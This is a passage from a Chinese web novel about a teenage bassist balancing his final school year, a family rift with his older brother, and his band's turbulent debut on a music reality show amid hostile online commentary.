希望巴爷爷别在桌子上发脾气摔杯子吧,纪羽暗中想。 一桌菜不喝酒那是吃到猴年马月也吃不下的,徐梁和纪泽兰都是爱喝的,起先还和纪羽聊天吃菜,纪羽吃饱不怎么动筷子后两人就把酒满上了。 你碰杯来我喝酒,酒是一倒再倒,纪羽以前是最先下桌的,今年却不行,硬撑着等纪泽兰和徐梁收场。 他在老麦那喝过酒后就不想再碰了,太涩,嘴巴都发麻。 在家里也不会有人让他碰。 纪泽兰已经有些微醺了,酒意朦胧地捏了捏纪羽的脸蛋。 “你先去玩吧,妈妈和爸爸还要喝一会儿。” 纪羽这才离开餐厅。 电视里春晚已经开始了,歌舞一茬接一茬,纪羽跟着曲声打拍子,手有点痒,跑上去把贝斯拿下来,拨弦开始弹。 曲毕,掌声从背后响起,纪羽吓了一跳缩起来。 徐梁不害臊,呱呱鼓掌:“我儿子弹得真好!爸爸给你出钱,咱上节目去!” 纪泽兰不知道何时拿着手机在录:“真棒妈妈发给你干妈看看……” 两人显然都有些醉了,但还硬撑着收拾了餐桌才到沙发上躺下。 纪泽兰靠着纪羽,纪羽抱着她的胳膊,捏她手臂上的软肉。 晚会演到了小品,演员一串一串的词吐着,没人笑,放出来底下观众漠着脸,有个很显眼的托儿拍着桌子前仰后合,纪羽不想看了,换了台,还是春晚。 “今天开心吗?”纪泽兰体温偏高,手指热热的捏着他的耳朵。 纪羽骨头软,耳朵也软,耳垂有点肉,耳朵外沿和脸颊上一样有一颗痣,很小。 纪羽被弄得痒痒,知道纪泽兰为什么这么问,向纪泽兰手臂里拱:“开心,我很开心。” 纪泽兰低头亲他一口,有点酒气,但纪羽不嫌弃,待徐梁也要来撒酒疯的时候他就避开了。 徐梁挺委屈地掏红包:“亏得爸爸还准备一个大红包要给你呢!” 纪羽不缺钱,但也喜欢红包,鼓鼓囊囊的红包一握在手里,他就笑得眼睛眯起来,眼尾翘起来的弧度越发像撅屁股的长尾雀儿。 纪泽兰也给他包了一个,并叫他现在就可以打开。 里边是一张购房合同。 “爸爸妈妈没什么能给你的,能想到最好的东西就是房子了,以后就算你想离家出走,别跑去别的地方,你有自己的房子了,好不好?” 他们连他总是不成功的离家出走都知道。 纸张陷入手心,纪羽扯起嘴角:“嗯。” 第82章 隔天一大早, 纪羽爬起来收拾齐整,哪儿也没去,进到隔壁空置的房间, 拨了一通视频电话。 电话接起,两边谁也没多说话, 纪羽把手机放远了,确保能照到地面和他的上身。 哐当一声,沉重的奖杯坠地。 然后是各类奖项, 纪羽全撕了, 抛到地上。 纪律的荣誉,从小到大获得的奖章、纪念品, 通通都被砸到脚底, 有的变了形,有的直接碎裂。 还有还有纪律常用的没带走的生活用品, 纪羽一视同仁, 也都一股脑扒到了地上。 大洋彼岸还是深夜,视频那头男人没有开灯, 黑沉沉的一片, 没有声音也没有任何反应,只是沉默地接受了纪羽的“暴行”。 他挺拔熨烫板正的西装被丢到地上, 纪羽穿着拖鞋踩了上去,很快便失去了它应有的价值。 纪律回国工作时穿的第一套西装就是这是这一套, 当时纪羽看着他, 眼睛发亮, 闹着自己也要一套小西装,真穿到身上,他又不喜欢了, 说哪儿都不舒服。 后来却经常来偷着穿他的衣服。 他看着纪羽又跑进浴室,放了一池子水,然后将手表袖口等的配饰都丢了下去,水面浮起了小泡。 纪羽大概是嫌不尽意,从他的书房寻到一把裁纸刀,纪律倏然提声:“纪羽……!” 纪羽用裁纸刀将他的领带全都切开了,顺便将枕头都拆开,把填充物甩得到处都是。 纪羽把看到的能砸的能摔的都毁了个遍,接着又走到书房,纪律看到他犹豫了一阵,把文件一张张撕下揉皱了攒成球丢到地上。 干完一切,纪羽明显地有些累了,摄像头照不到他的脸,但呼吸声很重,每一声间隔都很久。 隔一会儿,纪羽又动了,他离开了房间。 时间一分一秒过去,画面里他的身影消失得有些久,纪律从床头摸了烟,咬在嘴里。 脚步声先一步传来。 纪羽抱着箱子回来,站到画面的角落里,手一翻,满箱子东西都顺势倾泻而下。 前不久送给纪羽的手表也在里面,落下时甚至在地板上砸了个小坑。 这些年他送给纪羽的或是纪羽从他这拿走的,有关纪律的一切,纪羽都不要了。 在新年的第一天,纪羽穿他的新衣服,起床的第一件事不是去向爸妈炫耀他穿得漂不漂亮,而是告诉纪律,你特么滚犊子吧。 纪律一路向上爬的点滴证明他都要毁掉,让他装腔作势的体面外壳也要全部撕毁,纪律在意什么重视什么,他用最简单最浅薄也最有效的方式宣泄着他的鄙夷、不屑。 按老一辈的说法,新年一过,纪羽就又长一岁了。 但纪羽依旧用小孩的手段对付他。 意外地很有效。 在纪律用保护名义拴住纪羽的手脚,给他痛苦的爱和执着时,纪羽纯粹的依赖和信任不也像无形的水流,将他的所看所听都淹没蒙蔽了吗? 屏幕两端,一面是朝阳升起,少年眉眼清晰,站在一堆狼藉废墟中;一面是黑沉模糊到只剩下大块色斑的暗色,始终不见人影。 纪羽走过去,挂断了电话,脚底下有衣服绊着,险些摔一跤。 纪羽又气狠狠地踩了一脚。 徐梁在楼下喊:“开饭了!” 房间的门被顺手关上,纪羽走下台阶,又回身在紧紧闭着的门上踹了两脚才下楼。 一家人谁也没提刚才那阵响声。 世界的另一头,黑暗的室内燃起星星一点火光- 虽然知道梁子尧不可信,但没想到他会无耻到这个地步。 雷暴云乐队最新海报,官宣新加入两名成员。 莫满面对镜头笑得灿烂,梁子尧则在角落只露出小半张侧脸。 贝斯:莫满。 节奏吉他:梁子尧。 辽光摔拨片:“他不是不会乐器吗,不要侮辱我们弹吉他的行吗。” 纪羽靠在鼓边打哈欠,他昨晚刷了套密卷,有道题死活解不出,较劲到半夜才想通睡着。 他胡乱应着:“嗯嗯。” 辽光气得仰倒,翻过身跪在地上摸索:“卧槽我拨片呢?” 贝旬搬椅子:“坐。” 纪羽把手臂搭上去,趴在上边玩手机:“谢啦,刚好手酸。” 辽光:“合着没人在乎我是吗?” 手机上正是雷暴云官宣评论区。 【那两个搅屎棍终于走了。】 【欢迎新成员来到大粪坑[欢呼]】 【什么来头啊,一点风声也没有就把人顶了,而且新bass这打扮好特么眼熟……】 【你不说我也不说~】 【隔壁老风搞美少年营销,咱们老云家这不就跟上了吗?】 【再捆绑司马。】 【你去问问鸟风见光死皇族敢露脸不?】 【放段solo听听啊,整什么饭圈那套,放个海报有屁用,不看实力光看长相是吧?】 【搞滚的要待遇还不如追idol呢[拥抱][拥抱]】 纪羽眯着眼,问:“皇族……说的是我吗?” 仓库里寂静一会儿,随后辽光大笑出声:“哈哈哈哈哈哈哈哈哈哈哈哈你是皇族哈哈哈哈哈哈……” 笑了一会儿,发现没人理他,辽光笑声渐弱:“……皇族啥意思,你皇亲国戚?那带旗的不都在四合院里住着吗?” 辽光哼了一段:“啷个嘞个啷,滴嘞个啷……” 贝旬网上冲浪最多:“是说阿雀在队内资源最好。” 纪羽和辽光异口同声:“我们乐队还有资源呢?” 除了偶尔接到几个地方音乐节邀约,大部分时间承风还是见空就塞,小型live暂时都难开几场,很多时候他们都在参加某些企业庆典,前不久还有人家摆酒叫他们去撑个场面,出站后三轮车晃了几十分钟才到地儿,就这样还收到顾客反馈,说他们太吵,老人孩子受不了,最后由辽光献唱几首老民谣才算结了。 纪羽拿着剪子威胁要把曲坚头发剪了,他才保证再也不见钱眼开,给钱就接活。 就这么一情况,哪儿的什么资源,贫民窟里的王子还是纪羽灰姑娘附身被哪个皇亲贵胄看上了? 辽光点开搜索框输入【皇族】,跳出一众搜索结果。 运气不错,头一条就是关于承风的。 【老子不爱吃鸡翅:鸟风会有换皇族的可能吗?】 评论:【想啥呢,你都叫它鸟风了。】 【@承风WinG 你来解释一下自己名字的由来】 【小翅膀你慢慢飞~~】 【都说了是全队暗恋了,还不信,你去问其他人愿不愿意换吧?】 楼中楼:【为什么这么说,承风不都是直男吗?】 楼中楼回复:【你信这群人是直男同事情还是信bass是女扮男装?】- 【这不都一样吗?】—— 【……我服了。】 【层主是不是没看过物料啊,你去看两集物料就懂了,特别指路去年1024这期。】 【从队名来说就很微妙啊……】- 【我回来了,1024期阿雀不在啊?】—— 【嗯。那你再看1017这期的。】—— 【看完回来了,顺便把前几期的也补了,嗯。好微妙,好微妙的氛围。】?! 辽光震惊转发:“不是他们说的我怎么看不懂啊,我发在群里了,你们快看!” 贝旬在调新的效果器,没理。 辽光央着纪羽打开看一眼。 纪羽看了。 纪羽:0.07 什么暗恋? 纪羽下意识抬头看向角落。 贺思钧出去买饭了。 辽光:“你咋没反应?” 纪羽:“我要对你暗恋我这件事做出反应,还是被猜我可能是女扮男装这件事做出反应?” 辽光:“我没暗恋你!” 纪羽:“你急什么!” 辽光又开始鬼喊。 粉丝说的话偶尔会夸大和加入过多猜想,没什么实据,大多看个乐讨论一阵也就过去了,谁当真去计较反而显得小心眼。 再说了,有些甚至都不算是粉丝,只是觉得这么做好玩才看热闹。 在噪音中纪羽点开1024期物料,加速看完了。 纪羽指着屏幕:“为什么我不在的时候你那么正常?你真暗恋我?” 辽光:“?” 辽光:“纪阿雀!你什么意思!” 纪羽:“你别把我名字组合起来叫,好难听!” “阿雀就很好听吗!” “好听!” “切!” “廖永光!” 纪羽一边追辽光一边想,怎么他不在的时候他们排练那么有秩序,也不吵,难道真是他的问题? 辽光还在挑衅:“你下次别想在我后边加solo了,小公主~” 哈,他真是多想了,一定是辽光的错。 老麦抽完烟回来,打开门,又关上。 再抽一根吧。 随手放置在木箱上的手机,还未熄灭的屏幕仍然停留在评论区界面。 【老子不爱吃鸡翅:我不是雀粉,看不清我的ID吗,hello?有人尊重我吗?】 【博主好可怜,就这么被皇族粉圈地了,他嬷嬷真的超级多。】 博主回复:【[可怜]】 【幸好我也是[抱抱]】 博主真的被气到了。一顿输出。 【老子不爱吃鸡翅:都差点把队伍搞解散了还有那么多泥腿子,我看最近炒作都不行了,演出也没了,能消耗新鲜感到什么时候,准备被雷暴云暴打吧。】 【老子不爱吃鸡翅:连物料出镜时长都不平均,主唱存在感还没贝斯高,但凡大热乐队有一个是像现在这样的吗?我等着看捧皇族的下场。】 【老子不爱吃鸡翅:都糊穿地心吧。】 主页。 当晚。 【老子不爱吃鸡翅:@承风WinG 你有病吧,拉黑我?戳中你心事了?】 【老子不爱吃鸡翅:@承风WinG 鸟人鸟团鸟队友鸟运营,原创曲有几首了,出圈名场面有吗,节日期间上了几个台?对粉丝重拳出击,倒是好样的。】 【老子不爱吃鸡翅:喜欢承风的互删。】 …… 【老子不爱吃鸡翅:哈哈,我等着看谁出丑。//壹姐娱乐:音综确定了,拟邀这几个乐队:Punch、南塔公园、雷暴云、牧羊犬、跳窗户……承风。你期待哪个乐队,参与投票吧~】 第83章 “音综?” 老麦在手心敲着鼓槌, 叫纪羽想起老教师拿着教鞭不紧不慢巡视考场的威严,他坐在一旁,嘴巴闭得紧紧的。 曲坚干巴巴抚掌一笑:“哎呀, 新形式音综嘛,很有爆相的。” 老麦:“出价多少。” “不多不多, ”曲坚比了个手势,“也就这么点吧。” 辽光蹦起来:“你就这么把我们打包卖了?!” “欸,怎么说话的呢?”曲坚背着手, 最近他又留了点胡子, 身材清癯配半扎的长发,倒是仙风道骨, “我们是一个团队, 团队你懂吗,集体!一荣俱荣, 一损俱损, 这怎么叫卖呢?” 贝旬冷不丁开口:“但你知道我们之前上过一个比赛节目吧。” 说到这,几人的面色都不大好看, 扭头看向靠在角落里支腿靠着的少年。 纪羽偷偷在玩音响, 察觉到周遭声音一静,抬头:? “我没关系, 我都可以。” 辽光吊儿郎当:“你不是都开学了吗,这学期就高考了, 不紧张?” 一中出了名的开学早, 高三年初五一过就集合回校补课, 纪羽已经上了小半月的课程,这会儿还是下了课就赶来的,作业还没来得及写。 辽光这话一出, 纪羽还没说什么,老麦就道:“推了。” 这起节目往少了说,也得录制三个月,眼下离高考也就四个月不到,这期间宁肯是停了承风的活动,也不能耽误了纪羽复习的进程。 辽光这会儿也不唱反调了:“推了吧,耽误高考那是要天打雷劈的,我还年轻呢,得为老了积德。” 纪羽眨眨眼:“其实,我觉得……” 话没说完,就听辽光提议道:“咱们投票吧,少数服从多数,不同意参加的举手。” 辽光把手举得老高,还用一种颇为无奈的眼神看着纪羽,转头一看,全场只有他和老麦举了手! 贺思钧没来,全场只有五人,三对二。 “什么意思你们?阿雀不懂事就算了,贝旬你是咋回事?” 贝旬懒得听他唠叨:“我听阿雀的。” 老麦也不认可地皱眉,看向纪羽,他骨子里还是有些传统的人,天大地大也盖不过读书大,更何况纪羽处在这个紧要关头,更容不了他分心出差错。 纪羽仰头靠着墙:“我没问题,能有机会再上节目,不是很好吗,对承风来说这是曝光的最好平台。” 曲坚趁热打铁:“是,节目还没正式官宣,光是营销号预热博文都上了几次热搜,讨论度和量你们也都能看到,和你们之前的小打小闹不一样,这是个全国性的节目,播放平台自带的观众基数占总市场一半,你们都知道,这东西就算是有第二季,也未必有首发阵容让人印象深刻。” 能受到邀请,就算是曲坚也想不到的好事,承风微博粉丝基数对比同期看着是不少,但真正愿意为承风买单的乐迷有多少? 承风出道近两年,连出张专辑都费劲,现在也就是看着光鲜忙忙碌碌,实则大型音乐节他们倒贴钱都难挤得上台。 大众能了解到承风的途径少之又少,盘点奇葩乐队事件都记不起他们,更别提是看他们的演出,听他们的歌。 《乐队象限》节目组邀请承风,多半是了解到雷暴云和承风的那点小纠葛,想激化矛盾以此作为看点。 雷暴云会参加节目,已经是板上钉钉的事。 纪羽:“说不定我们第一赛段就被淘汰了。” 曲坚拍他后脑勺:“呸呸呸,童言无忌童言无忌。” 纪羽改口:“好吧,至少得淘汰雷暴云才能走。” 他面上没有任何认真的神色,语气透着漫不经心。但所有人都知道,他志在必得。 老麦没再阻止。 “好。” 这不是纪羽一个人的心结,也是承风所有人的。 答应是一瞬间的事,但真正去做时才知道平衡学业和工作有多困难。 好不容易安抚好徐梁和纪泽兰告诉他们自己一定注意劳逸结合,纪羽还得过李玄这关。 这天大课间,李玄将纪羽叫到办公室。 “你妈妈给我打电话了,说你每周六周日都需要请假,这是怎么一回事,是不是身体出什么问题了?” 对于纪羽能在一学期内把成绩拔上来这事,她心底是很诧异的,纪羽身体素质不好,但家境不错,升学压力是十七班中最小的,过去的日子虽说也听话,但始终缺少一股努力的拼劲,她也不想苛求纪羽。 各人有各人的命。 纪羽能有今天的成绩,李玄心底既欣慰又羞愧,她没在纪羽身上花心思,他自己要强,背地里想必吃了不少苦头。 现在正是关键时期,怎么好端端地又要请假了呢? 纪羽对她解释。 “这怎么能行的……”李玄不免有点着急,“你看,现在我们学校原本从早上六点二十到校,到晚上十点出校,现在晚自习已经是不强制了,少了将近四个小时的在校时间,平均一周就少了二十八小时,你现在周六周日再请假,又比别的同学少了三十个小时学习时间。但你又不是只花这点时间,你参加节目总得要准备,要排练,额外花的时间也要算进去,你相比别人复习的时间就大大压缩了,你自己想过吗?” 纪羽点头:“李老师,这些我都知道,我会抽时间复习,我保证不会耽误进度。” “纪羽,老师不是要你的保证。”李玄心里着急,她想趁高考前这点时间再帮一帮纪羽,让他再往上冲一冲。 纪羽垂下眼,细长且密的睫毛搭在下眼睑,他不说话时向来是很乖的,李玄看得有些心软,却还是劝说道: “想要实现梦想没有错,但高考不是任务,它能给你更多选择,带你去到更远的地方,你想抓住这次机会,但是不是有更好的解决方法呢?能不能再耐心等一等,等你高考之后,或者到了大学里,再去争取其他机会,可不可以?” 李玄苦口婆心,她也教过一些学生,整个高中时期本本分分,一门心思地读书,到了高考前,却生出了许多天真的念头,有的要去打电竞做职业选手,有的找各种方法想加分却是本末倒置成绩一落千丈,有的干脆放弃了不想读了。 她要做的,就是在最后关头,将学生一个不落地留住,再推他们一把,让他们心无旁骛地度过人生的中点。 不至于到了将来后悔。 十八岁以后的日子,时间就会像摁掉闹钟又闭上眼睛时那样,溜走得飞快了。 纪羽年轻的面庞让李玄生出许多感慨,她没急着要纪羽的答案,摆了摆手。 “你再好好想一想,周五前再告诉我你的想法,好吗?” 纪羽退出办公室,贺思钧交了作业也跟着一块儿出来。 “偷听。”纪羽小声指责道。 贺思钧这时候倒是大大方方:“对不起。” 纪羽:“你什么想法?” 贺思钧:“我?” 纪羽站住回身看他:“这里还有别人?” 天气回暖了,但还是冷,阴风阵阵,钻进骨缝里像生了冰碴子,纪羽穿得很厚,校服外裹了一件白色的羽绒服,里边是浅色的高领毛衣,他从办公室一出来,就把毛衣领子向上扯,厚领口托着下巴。 像是被精心包装过的糯米团子。 看着软乎无害,实则一戳就会爆炸。 贺思钧斟酌着说:“录节目不要熬夜到太晚。” “……”纪羽踢他裤腿,“你要说的就这个?” “别喝别人给的水,你原来的保温杯密封不冷不太好,一倒就从杯口漏水,用蓝色的那个,保温时间久。” “……哦!” 纪羽手插兜走了。 节目组这周就要过来录制日常素材,为先导片做准备,承风约在周六下午,其他人一早就得先过去协调确认场景,曲坚还得提前沟通下主题和脚本。 比起承风去年参加那档偏向于纯竞技类节目,《乐队象限》显得更具故事性,养成成长与合作竞争共存,就算不能得知节目组想为他们安排什么剧本,探探口风也能少吃些亏。 前期见面签合同时节目组强烈要求纪羽露脸,老麦不同意,这周还有得商量。 纪羽等到了李玄说的最后期限,去给她答复。 他很坚定,李玄也没有再阻拦,只叹了口说:“有需要就来找老师。” 当晚睡前,纪羽走到窗边放下窗帘,隐隐看到院外有人影在晃。 “蠢蛋。” 纪羽厚衣服裹了一圈悄悄地溜下楼,推开院门。 不确定的声音响起:“小羽?” 纪羽冻得跺脚:“你有病啊,大晚上的不睡觉跑别人家门口看大门。” 贺思钧走到月光底下,还问他:“你每天都睡那么晚?” “废话,你去问一中其他人有没有十二点前睡觉的。”纪羽微抬下巴,“我是把明天的作业都写了。” 抛开气温不谈,今晚真是个好天气,天高云淡,月明风清,落在人身上,像盖了层银色的纱。 “节目……” “合同已经签了。” 纪羽:“你不同意也晚了,谁让你投票的时候不在。” 不过就算贺思钧在,结果也不会改变,他一定会参加这档节目。 第84章 “节目我能去吗。” 纪羽被冷风激得缩脖子:“什么?” 贺思钧:“我也是你的助理, 节目录制期间我帮得上忙。” “哼……”笑声泄出半截,轻飘飘地上扬。 纪羽缓声:“什么我的助理,是承风的, 不要说得我们关系很特殊一样。” 他知道贺思钧在想什么,试探什么。奇怪的是, 那些无望和怨怒都在许多个他不知不觉的瞬间消弭了。 他依旧没有喜欢上贺思钧,但讨厌也不再深刻。 漆黑的夜,呼出的气是白的, 少年的脸颊手腕也是白的, 贺思钧望着,一颗心无论如何也安定不下来。 纪羽依旧没有原谅他, 他知道。 但他心中千言万绪, 在问。 那你为什么要下楼呢? 在你最讨厌的冬天的夜晚。 摸着黑,踮着脚。 来见我。 只是为了赶走我吗? 渴望亲近的欲望让古板木讷的胸膛里撒下密密的草籽, 每近一寸, 草尖就窜高一截,向四肢百骸疯长。 贺思钧渐渐体会到纪羽十多年来的丰富情感是如何在身体里奔流不息、翻江倒海。 也能模糊感知到纪羽对他的抗拒一分分减少。 但他们之间, 始终还隔着一层看不清的屏障。 小心的请求之后藏着他磅礴的欲求。 贺思钧说:“明天晚上, 我来之前会发消息给曲坚。” “哦。”纪羽听着黑暗里有动静,心惊胆战的, 搓了搓手臂,贺思钧以为他冷, 已经在解外套。 “别脱!”纪羽喊停, “明天等你放学说不定我们都结束了, 再看吧。我先回去了,你要睡不着就去跑几圈,别在这站着, 保安待会要巡夜的。” 他走出两步,离开贺思钧身侧,没了遮挡,风刮得更大了,纪羽咬咬牙,头也不回地跑回家。 一口气窜到房间里,暖气裹着,纪羽打了两个喷嚏,脱下外套裹到被子里,捂了好一会儿又爬起来,撩开窗帘一角向外看。 柚子树抖着宽大的叶,树下已没了人影。 “还算听话。”纪羽嘟囔一句,倒回床上,把被子塞在手脚底下,闭上眼睡了。 第二天拍摄倒是遂了贺思钧的愿,从早上直折腾到晚上十一点,期间节目组设备又出了些问题,耽误了时间,现场执行导演压着火,现场气氛相当沉抑,连辽光的话都少了。 贺思钧来的时候,承风正在节目组临时搭的棚里轮流备采,纪羽撑着头,有点困了。 贺思钧走过来时他抬了下眼。 辽光打了声招呼:“来了。” 贺思钧:“还有多久能结束?” 辽光:“少说一个小时吧,一个个轮着结束还得四个人一起录,也不知道谁想的那么多问题!” “吃了吗?” “还没呢!午饭都下午才吃上,待会说再补个点夜宵的镜……” 辽光一肚子苦水正要倒,转眼就看着贺思钧在纪羽边上蹲下了。 得,他还是再咽回去吧。 纪羽为了上节目,特意穿了套冲锋衣,防风保暖看着还轻薄。 贺思钧顺手把他裤腿扎紧了。 “我带了粥,现在喝还是待会喝?” 纪羽饿过劲了,没胃口:“不喝。” 说完还等着贺思钧唠叨几句,没想贺思钧直接站起身走了。? 算了,谁管他。 没一会儿场务喊道:“大家暂时休息二十分钟,承风请大家吃夜宵,到仓库后门来领!” 这半夜的,人也累了,听到有夜宵节目组还是打起精神来向承风几人道了谢,才散开去领。 辽光摸不着头脑:“我们请的?” 明令禁止某人暗中接济后,承风可谓一穷二白,哪来的钱请客吃夜宵? “没划你的账,吃就行了。”曲坚领着一人放下半人高的保温桶,贺思钧拿着餐具分发。 纪羽把贺思钧拽一边:“你请的?” 贺思钧把餐具又用热水烫一遍:“我有钱。” 又来这一句。 纪羽瞪他:“你以为你是金主大爹,是霸道总裁,搞这一出?” “没有。”贺思钧掏出湿巾将勺子擦得锃亮,放到纪羽手里,“我怕你一个人吃不自在。” 纪羽话一顿,握着勺子有点无措,一看贺思钧又是气不打一处来:“你赚钱就这么白瞎吧,我都说我不吃了,这叫道德绑架!” “没白瞎。”贺思钧搬来个小凳子让纪羽坐下,又找个高凳当桌子擦了两遍,从一旁取出给纪羽单独留的一份粥,“吃吧。” 纪羽一看:“怎么是咸粥……” 贺思钧:“晚上喝甜的烧心,里边加了猪肝,补铁的,不腥,你嚼一嚼,也有甜味。” “这哪儿能一样。” 纪羽也不是不识好歹的人,贺思钧买都买了,他也给面子地拉下口罩低头喝,一入口手脚热了脑袋也能转过弯来。 他说:“你怎么不喝,都给他们喝,你多吃亏?多吃一碗就赚回来一碗。” 贺思钧这才去打了碗粥,他不用勺,抵着碗边倒进嘴里。 他就穿一件旧黑衣,不知道哪儿蹭了灰,显得有点脏,凳子不够坐就蹲在他边上,看着很俭朴……还有点可怜。 纪羽有个最大的毛病就是看不得人可怜,走在路上看工人坐马路牙子上吃盒饭他都得快步走开不敢对视。 他把碗端起来,想叫贺思钧坐凳上,但比了下他们俩的身高差,又想贺思钧分明是自个儿作的,自己一屁股坐到高凳上,脚尖踢了踢贺思钧:“你坐矮的。” 俩人一高一矮坐着,有工作人员蹭到好说话的辽光边上,指着那块角落:“那谁啊?” 辽光抖着腿:“他小助理。” 工作人员:“啊?” 她伸手指比划贺思钧的体型,又移到纪羽身上。 小吗? 事实证明,任何试图讨好节目组的行为都是无效的。 大家都是打工人,奉命行事。 比赛采取直播赛制,先导片提前首演一星期释出。 十二支乐队,四种不同风格,个性也不尽相同,但不约而同的,在节目首次露面时,都尽可能展现出讨喜的一面。 想在一照面的时间里迅速吸引受众,无非就两种套路:尽可能的反差和加深拓展刻板印象。 大多乐队都走了前一条路子,其中全员壮汉的Punch乐队鼓手还露了一手绣工,把吉他手踩烂的裤脚缝得漂漂亮亮,弹幕其乐融融。 到承风的片段前则是一则高能提醒:前方请备好降压药,心脏病患者请跳过43:27至61:42。 先导片更新时,乘风刚下了彩排,在休息室收拾东西准备回去,曲坚提议看过承风片段后再解散,众人都没提反对。 看到一半老麦就把鼓槌一砸,满脸怒容起身,辽光还在那哔哔:“这是歪曲我的人格!” 纪羽拍拍屁股也跟着站起来,把老麦摔裂的鼓槌捡回来,捂着麦小声道:“有监控。” ……辽光把两根中指折起来,纪羽跟他一起比了比拳头。 待众人盖上摄像头关了麦。 贝旬:“看来我们要走反派剧本了。” 承风在十二支队伍中不上不下,除去没什么名气的三支明摆着炮灰的乐队,他们算倒数的。 俗话说得好,柿子要挑软的捏。 但也不能太软,软过头就是烂俗了,明摆着的欺负人。 选承风刚刚好,有点黑料,还没公司撑腰,和雷暴云又有过冲突。 要是能抗过去声讨,黑红也能红;要是没实力被淘汰了,那就是罪有应得,用不着惋惜。 总之,这是当下综艺剪辑中最流行最普遍也最平常的一套剧本,只是刚好落在了他们头上。 视频里将他们正常沟通的片段剪得支离破碎,留了很多他们在等待发呆的镜头,那会儿大家都累了,表情也没管理,画面里老麦撑着头,露出手臂上的大块刺青显得脾气火爆不好沟通。 采访视频则是将几个问题的回答打乱,保留许多询问中简短的应答,辽光一长串的感想更是剪得一塌糊涂,配上他乱飞的五官表情,特气人。 纪羽没什么正面镜头,全程都垂着头,时不时摸下口罩,应答冷淡。贝旬更是没几个镜头,看起来完全地不配合工作。 曲坚鼓掌:“真是慧眼识珠啊,一眼就看出咱们是软包子。” 贝旬问:“接下来怎么办?” 辽光:“我觉得观众还是有眼光的,日久见人心,等节目正式开始,他们就知道我那么和善一个人,怎么可能是恶霸呢?” 曲坚:“你要演傻白甜也得照照镜子。” 辽光气氛受到了侮辱,打开美颜相机缩到一旁找自信去了。 纪羽打开视频下评论区。 【真不知道承风是怎么拽得二五八万的,前边都挺和谐的,一转到他们画风就不对了,一个个装得要死,还以为自己是什么大咖?】 【话都不会好好说的乐队滚行吗,要是遗世独立就别上节目啊,采访问一句吐两个字,问一句吐两个字,摆张臭脸也不知道给谁看,假清高[呕吐]】 【不是,为什么上节目还有人戴口罩死都不摘的啊,演网络男神上瘾了吗,采访也是不摘,懂不懂尊重人?】 【没牌硬耍。】 【还有人不知道某风抢过雷暴云演出机会吗,宁愿倒贴也不放过露脸的机会,可惜那是某风上过最大的台了吧?买营销拉踩爽吗?黑红爽吗?得偿所愿了吧?】 【雷暴云乐队挺好的啊,虽然看上去有些成员还不太熟在磨合,但都挺客气的彬彬有礼,没看清他们那个吉他手长什么样,但是看身形感觉很帅,贝斯手也好帅。】 【某队真全员恶人哦,我有朋友是内部人员,听说贝斯手做派特别大,在队里欺男霸男的,上节目也不肯吃盒饭非要定制送来,为了等他采访节目组推迟收工等他,但因为家里有钱有点关系,和节目组打过招呼所以没爆出来,不知道是谁哦~】 【不知道请他们来干什么,求速淘汰,几颗老鼠屎坏了一锅粥。】 哇,好像是在说他哎。 第85章 一小撮“风铃”正在夹缝中求生。 【无语了, 那么明显的恶剪看不出来吗?】 【承风哪有什么名气啊,先导片十几分钟分量能说明什么,明显就是为真主捧垫脚的啊, 能不能别只看过营销号剪辑片段就来黑啊[流汗]】 【[分享链接]指路承风日常记录账号,哥几个是不是这种性格了解一下就知道了。】 【真双标啊, 雷暴云吉他手露过正脸吗就开始夸夸夸,背都比阿雀厚一倍了,拉踩的心思别太明显。】 【求求大家别骂了[跪], 承风不是被剪出来的那样……】 此时选秀的热潮方兴未艾, 作为国内首档乐队竞技节目,《乐队象限》节奏紧凑, 一经推出就广受瞩目, 先导片播放当日点击已破七千万次。 这一盛况远远超过节目组预期。 随之而来的,是数不尽的声音, 温和中立的观点注定无法在舆论场上获得足够声量, 扑向承风的是众多夹着尖锐讽意的审视。 比起别人诉说的,他们更相信自己看到的。 或者是, 是他们想看到的。 这些声浪都与在学校中本本分分上课的纪羽无关。 纵然有人看过节目, 也对纪羽的身份有所怀疑,但纪羽不认, 谁有办法逼他承认,再说了, 但凡有人想靠近他, 就会立马被瞪走。 课间。 “这都第几个了, 幸好你上节目的时候戴了口罩挡一挡,不然你就真成一中的明星了。” 《乐队象限》在宣发上下了大功夫,各平台营销矩阵齐上, 就连从不关心娱乐圈的展舒文也被推送了不少先导片片段剪辑内容。这还是收敛后的结果,待这周首演过后,恐怕宣传势头更猛。 纪羽撑着脸:“那我得拿个盆接烂菜叶了。” 贺思钧:“别这么说。” 纪羽用胳膊肘杵他一下:“我都没说什么,你臭什么脸。” 柳承连忙拉架,这段时间他替纪羽挡了不少人,胆子也大了,敢在他和贺思钧之间拉架调和:“小羽,贺思钧也是关心你……” “我知道。” 纪羽理解。 充分的。 因为除了贺思钧包括承风和纪泽兰徐梁在内的所有人最近都是这么个态度。 生怕他敏感脆弱的心灵在高三高压氛围与节目负面舆论双重压迫下崩溃。 为此老麦还和节目组大吵一架,甚至把辽光带上助威。 原因是节目组还在跃跃欲试让纪羽摘了口罩上台,也不是立刻要摘,要是承风能坚持到中间赛段,那时候摘口罩反响肯定够,刚好能缓解观众的疲乏感,到时候就能给他们换套剧本了。 老麦气得要说脏话,怕被录音,辽光就哇啦哇啦提高音量把声音盖过去,承风对节目组就一个态度:你去死吧你。 总之上了贼船再想下也难了,纪羽倒没有退赛的念头,这才哪儿到哪儿,网友还没有纪律说话难听。 相反,他斗志高昂,首演就在眼前,雷暴云与承风同属一组,十二支队伍共四组,第一轮比赛便要淘汰四支队伍,小组内三进二,纪羽确信,承风一定会留下来。 至于雷暴云会不会留下,届时走着瞧。 首演前一天。 【明天就是第一次直播了吧,晚上几点开始?】 【八点。】 【太晚了吧,看完直播都得半夜了。】 【周六啊,谁睡那么早,就算看不到最后第二天也有剪辑版。】 【承风安排在第几个,别搞到最后都没多少人看暗箱操作就让他们出线了[惊恐]】 【别太阴谋论了行吗,先上场的应该是摇滚组炸场子,Punch应该会是第一个出场的乐队,雷暴云和承风那组得靠后吧,最后应该是唱民谣的。】 【凭啥民谣就最后,民谣的词作水平比在场所有乐队都高一个档次好吗?】 【那你得问节目组发啥癫,不都是摇滚吗,分那么细明摆着挑事[抠鼻]】 【啥玩意就都是摇滚了,你没听过流行乐,爵士也没听过?】 【哎呀分那么细就没意思了嘛,本来各种元素发展到现在就融合在一块儿了,每个乐队的风格都在变,也就是第一期按参赛原创曲风格分了一下,之后还说不准咋比呢。】 【总之接恶霸乐队淘汰[合手]】 